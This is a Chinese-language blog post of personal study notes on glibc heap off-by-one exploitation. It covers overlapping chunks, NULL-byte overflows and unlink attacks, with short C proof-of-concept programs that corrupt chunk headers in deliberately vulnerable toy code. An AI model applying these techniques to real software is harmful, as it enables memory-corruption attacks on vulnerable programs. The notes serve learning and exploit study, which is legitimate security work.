off-by-one
参考学习师傅们的文章
1 |
|
off-by-one 漏洞利用学习
一直没能学会off-by-one这一个神奇的漏洞利用方式,这一次终于有机会默默学习一下了
分类
通过利用手法分类可以分为两类:
overlapping
off-by-one overwrite allocated
off-by-one overwrite freed
off-by-one null byte
unlink(相关内容我也在之前的博客中有所提及)
off-by-one small bin
off-by-one large bin
而通过漏洞成因可以分为下面两类:- off-by-one NULL(溢出位为0)
- off-by-one byte(溢出位可以为任意字节)
利用思路
- 溢出位为任意字节时,可以利用chunk extended和chunk shrink来进行利用(这两种相关内容在我的另外两篇博客中都有一些描述)
- 溢出位为NULL的时候:在特殊size下(0x100)的时候,如果溢出null可以让prev_in_use位被清零,前块就被视为free状态,此时可以
- 使用unlink方法
- 这里也可以通过chunk extedned和chunk shrink来解决(仅限于libc<2.28)
在2.28之前的时候unlink是不对prev_size找到的chunk与当前chunk大小进行比较的1
2
3
4
5
6
7
8
9
10/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
/* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
效果
- overlapping可以导致我们重复分配的chunk可以被我们进行任意写
- unlink
- small bin可以使得指向堆的指针ptr指向ptr-0xc(x86位,64位应该为ptr-0x18),再结合一系列的操作就可以进行任意地址写
- 而如果是Large bin的话则只能进行一次任意地址写
注意事项
ptmalloc实现时当前块的下一块必须是inuse,否则free时会异常(double free时的限制)
相关操作
overwrite allocate
所谓overwrite allocate,就是通过chunk extended,将目标chunk合并进前一个chunk,此时如果free掉前一个chunk再分配合适的size,就可以分配到合并的chunk,这样也就可以对目标chunk进行任意读写了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#include<stdilb.h>
#include<stdio.h>
int main(void)
{
char buf[253]="";
void *A,*B,*C;
void *Overlapped;
A=malloc(252);
B=malloc(252);
C=malloc(128);
memset(buf,'a',252);
buf[252]='\x89'; //把C块包含进来
memcpy(A,buf,253);//A存在off-by-one漏洞
free(B);
Overlapped=malloc(500);
}
overwrite freed
而overwrite freed也是类似,不过是先free掉目标堆块的前一个chunk,然后更改前一个chunk的size(inuse为1),通过chunk extended包含两个chunk,此时就可以对目标堆块进行任意地址读写了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16#include<stdilb.h>
#include<stdio.h>
int main(void)
{
char buf[253]="";
void *A,*B,*C;
void *Overlapped;
A=malloc(252);
B=malloc(252);
C=malloc(128);
free(B);
memset(buf,'a',252);
buf[252]='\x89';
memcpy(A,buf,253);//A存在off-by-one漏洞
Overlapped=malloc(380);
}
off-by-one NULL byte
- 而如果溢出位只能是\x00时就变得复杂起来,这里用一位师傅的描述
- 假设有三个已经分配的chunk(A,B,C)
- 在A块进行溢出,导致B的inuse位被覆盖为0,此时会让系统认为B已经被free掉了,此时如果再分配两个非fastbin得小chunk(B1,C1),就会分配到B所在的chunk,此时只需要释放B1,然后再释放C,就会引发B,C两块的合并,此时只要重新分配B大小的CHUNK,就可以重新得到B2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18#include<stdlib.h>
#include<stdio.h>
int main(void)
{
void *A,*B,*C;
void *B1,*B2;
void *Overlapping;
A=malloc(0x100);
B=malloc(0x208);
C=malloc(0x100);
free(B);
((char *)A)[0x104]='\x00';
B1=malloc(0x100);
B2=malloc(0x80);
free(B1);
free(C);
malloc(0x200);
}
small bin
small bin则是需要触发unlink,但是由于unlink的check,我们需要一个指向堆上的指针来进行check的绕过,这时需要在目标chunk的前一个chunk处伪造一个堆结构,然后进行B的覆盖,此时free B就会导致ptr变为向前的三块的位置,然后就可以复写ptr,然后对ptr进行任意写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24void *ptr;
int main(void)
{
int prev_size,size,fd,bk;
void *p1,*p2;
char buf[253]="";
p1=malloc(252);
p2=malloc(252);
ptr=p1;
prev_size=0;
size=249;
fd=(int)(&ptr)-0xC;
bk=(int)(&ptr)-0x8;
memset(buf,'c',253);
memcpy(buf,&prev_size,4);
memcpy(buf+4,&size,4);
memcpy(buf+8,&fd,4);
memcpy(buf+12,&bk,4);
size=248;
memcpy(&buf[248],&size,4);
buf[252]='\x00';
memcpy(p1,buf,253);
free(p2);
}
- large bin的攻击则是比较远古的方式,师傅说是因为当时没有对large bin 的unlink检测的相关代码所以导致可以攻击
- unsorted bin 利用大概就是更改global_max的大小
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!